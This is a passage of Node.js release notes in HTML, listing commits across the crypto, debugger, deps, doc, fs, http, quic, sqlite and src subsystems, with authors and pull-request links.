<li>[<a href="https://github.com/nodejs/node/commit/9984b05dff"><code>9984b05dff</code></a>] - <strong>crypto</strong>: coerce -0 to +0 before native calls (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/88011a3689"><code>88011a3689</code></a>] - <strong>crypto,tls</strong>: do not ignore BN_get_word error (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/63895" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63895/hovercard">#63895</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a3393d14f"><code>9a3393d14f</code></a>] - <strong>debugger</strong>: lazily wait for initial break output (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63969/hovercard">#63969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0bfcb9c59"><code>b0bfcb9c59</code></a>] - <strong>debugger</strong>: defer probe pause handling until startup (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63608" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63608/hovercard">#63608</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8516003953"><code>8516003953</code></a>] - <strong>debugger</strong>: await initialization after run and restart (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63607" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63607/hovercard">#63607</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4438cb5284"><code>4438cb5284</code></a>] - <strong>debugger</strong>: add --max-hit option to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63704" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63704/hovercard">#63704</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/238b54ed2a"><code>238b54ed2a</code></a>] - <strong>debugger</strong>: add more logs to probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63663/hovercard">#63663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbef54b413"><code>bbef54b413</code></a>] - <strong>deps</strong>: libffi: cherry-pick 9ca53a19833d (Anthony Green) <a href="https://github.com/nodejs/node/pull/64040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64040/hovercard">#64040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9761385dbd"><code>9761385dbd</code></a>] - <strong>deps</strong>: update libffi to 3.6.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/64040" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64040/hovercard">#64040</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/373ec2d092"><code>373ec2d092</code></a>] - <strong>deps</strong>: update acorn to 8.17.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63901" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63901/hovercard">#63901</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e44b5d487e"><code>e44b5d487e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>deps</strong>: update OpenSSL build config to support compression (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed287a2e2"><code>3ed287a2e2</code></a>] - <strong>deps</strong>: upgrade npm to 11.17.0 (npm team) <a href="https://github.com/nodejs/node/pull/63857" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63857/hovercard">#63857</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b1b597c797"><code>b1b597c797</code></a>] - <strong>deps</strong>: add ngtcp2_fmt.c to build configuration (ngtcp2.gyp) (沈鸿飞) <a href="https://github.com/nodejs/node/pull/63821" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63821/hovercard">#63821</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0bf8e12305"><code>0bf8e12305</code></a>] - <strong>deps</strong>: V8: add CopyArrayBufferBytes API (Robert Nagy) <a href="https://github.com/nodejs/node/pull/63828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63828/hovercard">#63828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e49d7301a5"><code>e49d7301a5</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.23.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63777/hovercard">#63777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5c079004b"><code>e5c079004b</code></a>] - <strong>deps</strong>: update nghttp3 to 1.16.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63776" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63776/hovercard">#63776</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d599fa2346"><code>d599fa2346</code></a>] - <strong>deps</strong>: update googletest to 7140cd416cecd7462a8aae488024abeee55598e4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63775/hovercard">#63775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bc09f1508c"><code>bc09f1508c</code></a>] - <strong>deps</strong>: update sqlite to 3.53.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63774" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63774/hovercard">#63774</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/60787746c4"><code>60787746c4</code></a>] - <strong>deps</strong>: update zlib to 1.3.2.1-motley-3246f1b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63773" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63773/hovercard">#63773</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/971af104f1"><code>971af104f1</code></a>] - <strong>deps</strong>: update amaro to 1.1.10 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63670" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63670/hovercard">#63670</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e17f665444"><code>e17f665444</code></a>] - <strong>deps</strong>: update googletest to 8736d2cd5c1dcba41170ed2fddca14021d4916c3 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63669" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63669/hovercard">#63669</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7591949457"><code>7591949457</code></a>] - <strong>dgram</strong>: add synchronous Socket connectSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63932" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63932/hovercard">#63932</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d75222d7cb"><code>d75222d7cb</code></a>] - <strong>dgram</strong>: add synchronous Socket.prototype.bindSync() (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63838" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63838/hovercard">#63838</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cf8342ae2"><code>0cf8342ae2</code></a>] - <strong>dns</strong>: coerce -0 to +0 in lookup and resolver inputs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e068299320"><code>e068299320</code></a>] - <strong>doc</strong>: update gcc toolchains to <code>gcc-13</code> and <code>g++-13</code> (Louie Llaneta) <a href="https://github.com/nodejs/node/pull/64018" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64018/hovercard">#64018</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/65178bdcf3"><code>65178bdcf3</code></a>] - <strong>doc</strong>: add aduh95 to last security release steward (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63981" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63981/hovercard">#63981</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83eedfe85b"><code>83eedfe85b</code></a>] - <strong>doc</strong>: fix typo in util.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63961/hovercard">#63961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54948c78e7"><code>54948c78e7</code></a>] - <strong>doc</strong>: clarify callback exceptions (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63939" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63939/hovercard">#63939</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/205d0a57f2"><code>205d0a57f2</code></a>] - <strong>doc</strong>: fix incorrect test runner mock examples (Kimaswa Emmanuel Yusufu) <a href="https://github.com/nodejs/node/pull/63656" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63656/hovercard">#63656</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44809b176c"><code>44809b176c</code></a>] - <strong>doc</strong>: clarify fromReadable() duck-typed contract (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63682" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63682/hovercard">#63682</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9cb15fcc85"><code>9cb15fcc85</code></a>] - <strong>doc</strong>: fix typo in cli.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63883/hovercard">#63883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394d0bb928"><code>394d0bb928</code></a>] - <strong>doc</strong>: fix typo in vm.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63881/hovercard">#63881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59b7be8193"><code>59b7be8193</code></a>] - <strong>doc</strong>: fix typo in packages.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63882/hovercard">#63882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33c236cea9"><code>33c236cea9</code></a>] - <strong>doc</strong>: fix a/an article typos in module, util, and dns (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63766" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63766/hovercard">#63766</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30595da67b"><code>30595da67b</code></a>] - <strong>doc</strong>: update npm supported versions link (hojeong park) <a href="https://github.com/nodejs/node/pull/63672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63672/hovercard">#63672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5919ba7e97"><code>5919ba7e97</code></a>] - <strong>doc</strong>: fix AES-OCB IV length in SubtleCrypto.supports example (Anshika Jain) <a href="https://github.com/nodejs/node/pull/63717" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63717/hovercard">#63717</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/51cab5cb72"><code>51cab5cb72</code></a>] - <strong>doc</strong>: add webstreams to args for <code>pipeline</code> from <code>stream/promises</code> (David Sanders) <a href="https://github.com/nodejs/node/pull/63628" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63628/hovercard">#63628</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ce85b2af88"><code>ce85b2af88</code></a>] - <strong>doc</strong>: fix "used to sent" → "used to send" in http2 (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63700" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63700/hovercard">#63700</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/298735e8df"><code>298735e8df</code></a>] - <strong>doc</strong>: mark Node.js 25 as End-of-Life (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63692" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63692/hovercard">#63692</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56948518b9"><code>56948518b9</code></a>] - <strong>doc</strong>: clarify tty raw mode applies to input processing only (Muhammad Zeeshan) <a href="https://github.com/nodejs/node/pull/63438" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63438/hovercard">#63438</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32ff731248"><code>32ff731248</code></a>] - <strong>doc</strong>: add worker_threads history entries (Bob Put) <a href="https://github.com/nodejs/node/pull/63545" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63545/hovercard">#63545</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cde0daabcc"><code>cde0daabcc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>doc</strong>: update <code>blockList</code> stability status to release candidate (alphaleadership) <a href="https://github.com/nodejs/node/pull/63050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63050/hovercard">#63050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d29483fc4f"><code>d29483fc4f</code></a>] - <strong>doc,crypto</strong>: mark argon2 and encap/decap as stable (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63924/hovercard">#63924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6e668331d9"><code>6e668331d9</code></a>] - <strong>events</strong>: improve <code>addAbortListener</code> perf by caching options object (Raz Luvaton) <a href="https://github.com/nodejs/node/pull/52367" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/52367/hovercard">#52367</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97aafe2519"><code>97aafe2519</code></a>] - <strong>ffi</strong>: add fast support for almost all other platforms (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63941" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63941/hovercard">#63941</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f52cf5eeaa"><code>f52cf5eeaa</code></a>] - <strong>ffi</strong>: add experimental fast FFI call API for AArch64 and x86_64 (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63068" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63068/hovercard">#63068</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9461fee05"><code>d9461fee05</code></a>] - <strong>ffi</strong>: port semi-colon fix for riscv64 (and others) (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/63794" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63794/hovercard">#63794</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c8402e0a8"><code>4c8402e0a8</code></a>] - <strong>fs</strong>: do not treat EPERM as ENOTEMPTY on Windows (Kirill Saied) <a href="https://github.com/nodejs/node/pull/63709" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63709/hovercard">#63709</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b78f5a7537"><code>b78f5a7537</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: support caller-supplied readFile() buffers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63634" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63634/hovercard">#63634</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d0097d489"><code>3d0097d489</code></a>] - <strong>fs</strong>: prevent spurious recursive watch events on prefix siblings (Marco) <a href="https://github.com/nodejs/node/pull/63095" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63095/hovercard">#63095</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/14d829cb3c"><code>14d829cb3c</code></a>] - <strong>fs</strong>: ignore deleted dirs in recursive watch scan (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63686" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63686/hovercard">#63686</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ceba08a1ea"><code>ceba08a1ea</code></a>] - <strong>fs</strong>: coerce -0 to +0 in mode flags and watch intervals (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6577d3b282"><code>6577d3b282</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/417aacbc36"><code>417aacbc36</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: close pre-request sockets in closeIdleConnections (semimikoh) <a href="https://github.com/nodejs/node/pull/63470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63470/hovercard">#63470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fd13a59a"><code>b7fd13a59a</code></a>] - <strong>http2</strong>: retain header memory in session accounting (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63752" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63752/hovercard">#63752</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e611ccd167"><code>e611ccd167</code></a>] - <strong>inspector</strong>: fix inspector.close() documented behavior (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63837" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63837/hovercard">#63837</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a44f51eef3"><code>a44f51eef3</code></a>] - <strong>lib</strong>: fix missing lazyDOMException import (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64033" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64033/hovercard">#64033</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/27cc4ec598"><code>27cc4ec598</code></a>] - <strong>lib</strong>: add lint rule to enforce use of <code>kEmptyObject</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63790" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63790/hovercard">#63790</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7ee31b0bf4"><code>7ee31b0bf4</code></a>] - <strong>lib</strong>: improve control abstraction coverage in frozen intrinsics (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/078457839a"><code>078457839a</code></a>] - <strong>lib</strong>: add Iterator global to primordials (Renegade334) <a href="https://github.com/nodejs/node/pull/63698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63698/hovercard">#63698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58837dc4dd"><code>58837dc4dd</code></a>] - <strong>lib</strong>: remove source map deadcode in type stripping (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63738/hovercard">#63738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e7513a8b9e"><code>e7513a8b9e</code></a>] - <strong>lib</strong>: make <code>Navigator#language</code> getter throw on invalid <code>this</code> (Mohamed Sayed) <a href="https://github.com/nodejs/node/pull/63601" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63601/hovercard">#63601</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbb108be7d"><code>fbb108be7d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>loader</strong>: implement package maps (Maël Nison) <a href="https://github.com/nodejs/node/pull/62239" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62239/hovercard">#62239</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ea0b8e1dc2"><code>ea0b8e1dc2</code></a>] - <strong>meta</strong>: bump github/codeql-action from 4.35.3 to 4.36.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63724" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63724/hovercard">#63724</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac90719532"><code>ac90719532</code></a>] - <strong>meta</strong>: bump actions/cache from 5.0.4 to 5.0.5 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62847/hovercard">#62847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ed3de3062"><code>3ed3de3062</code></a>] - <strong>meta</strong>: bump actions/checkout from 6.0.2 to 6.0.3 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63726" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63726/hovercard">#63726</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d08d57bf70"><code>d08d57bf70</code></a>] - <strong>meta</strong>: bump codecov/codecov-action from 6.0.0 to 6.0.1 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63725" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63725/hovercard">#63725</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e748d192cf"><code>e748d192cf</code></a>] - <strong>meta</strong>: bump cachix/cachix-action (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63729" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63729/hovercard">#63729</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10554eb131"><code>10554eb131</code></a>] - <strong>meta</strong>: bump actions/stale from 10.2.0 to 10.3.0 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63728/hovercard">#63728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/791885f2af"><code>791885f2af</code></a>] - <strong>meta</strong>: bump step-security/harden-runner from 2.19.0 to 2.19.4 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63727/hovercard">#63727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32d9a407d9"><code>32d9a407d9</code></a>] - <strong>meta</strong>: bump cachix/install-nix-action from 31.10.5 to 31.10.6 (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63723" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63723/hovercard">#63723</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b97c7bed07"><code>b97c7bed07</code></a>] - <strong>module</strong>: enable existing machinery for deferred import of static modules (Maya Lekova) <a href="https://github.com/nodejs/node/pull/63712" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63712/hovercard">#63712</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4becad2117"><code>4becad2117</code></a>] - <strong>module</strong>: use file: URL as sourceURL for type-stripped CommonJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63705" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63705/hovercard">#63705</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c71c85b95f"><code>c71c85b95f</code></a>] - <strong>net</strong>: early TCP binding via synchronous net.BoundSocket (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63951" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63951/hovercard">#63951</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45494d5a8a"><code>45494d5a8a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: support TCP_KEEPINTVL and TCP_KEEPCNT in setKeepAlive (Guy Bedford) <a href="https://github.com/nodejs/node/pull/63825" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63825/hovercard">#63825</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3988efa1f3"><code>3988efa1f3</code></a>] - <strong>net</strong>: coerce -0 to +0 in BlockList prefixes (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/484efd1c44"><code>484efd1c44</code></a>] - <strong>quic</strong>: fix get_reader bug that dropped data on FIN (Tim Perry) <a href="https://github.com/nodejs/node/pull/63946" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63946/hovercard">#63946</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04a17fe6f0"><code>04a17fe6f0</code></a>] - <strong>quic</strong>: expose QUIC certificates as JS X509Certificate, not raw handles (Tim Perry) <a href="https://github.com/nodejs/node/pull/63191" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63191/hovercard">#63191</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b62d5696dc"><code>b62d5696dc</code></a>] - <strong>quic</strong>: fix reader backpressure deadlock on idle connections (Tim Perry) <a href="https://github.com/nodejs/node/pull/63950" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63950/hovercard">#63950</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f1c8d7453"><code>3f1c8d7453</code></a>] - <strong>quic</strong>: fix broken listEndpoints export, test callbacks &amp; nghttp3 include (Tim Perry) <a href="https://github.com/nodejs/node/pull/63874" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63874/hovercard">#63874</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8538b9deb"><code>d8538b9deb</code></a>] - <strong>quic</strong>: impl. cb for http/3 settings/app. options (Marten Richter) <a href="https://github.com/nodejs/node/pull/63558" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63558/hovercard">#63558</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/643b19716e"><code>643b19716e</code></a>] - <strong>quic</strong>: add listEndpoints API (James M Snell) <a href="https://github.com/nodejs/node/pull/63536" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63536/hovercard">#63536</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2bce35bea4"><code>2bce35bea4</code></a>] - <strong>sqlite</strong>: do not leave database open after failed open (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63854" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63854/hovercard">#63854</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/394af52abb"><code>394af52abb</code></a>] - <strong>sqlite</strong>: fix stack-use-after-scope with function callback (ndossche) <a href="https://github.com/nodejs/node/pull/63640" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63640/hovercard">#63640</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10f03e5958"><code>10f03e5958</code></a>] - <strong>src</strong>: omit unconvertible names in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63943" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63943/hovercard">#63943</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1723773d41"><code>1723773d41</code></a>] - <strong>src</strong>: keep global list of addon-provided cleanup hooks (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63985" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63985/hovercard">#63985</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef12e9ea44"><code>ef12e9ea44</code></a>] - <strong>src</strong>: guard OpenSSL compression header include (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64009" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64009/hovercard">#64009</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48af8a6d8d"><code>48af8a6d8d</code></a>] - <strong>src</strong>: handle empty MaybeLocal in cjs_lexer::Parse (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/63885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63885/hovercard">#63885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a672ee9e8"><code>2a672ee9e8</code></a>] - <strong>src</strong>: fast path empty native immediate drain (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/62969" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62969/hovercard">#62969</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db6a31d1a1"><code>db6a31d1a1</code></a>] - <strong>src</strong>: do not track weak <code>BaseObject</code>s as childrens of <code>Realm</code>s (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5fb837ff46"><code>5fb837ff46</code></a>] - <strong>src</strong>: allow tracking children in <code>MemoryTracker</code> with weak edges (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63842" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63842/hovercard">#63842</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d22d373a9"><code>6d22d373a9</code></a>] - <strong>src</strong>: use C++14 deprecated attribute for <code>NODE_DEPRECATED</code> (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63755/hovercard">#63755</a></li>
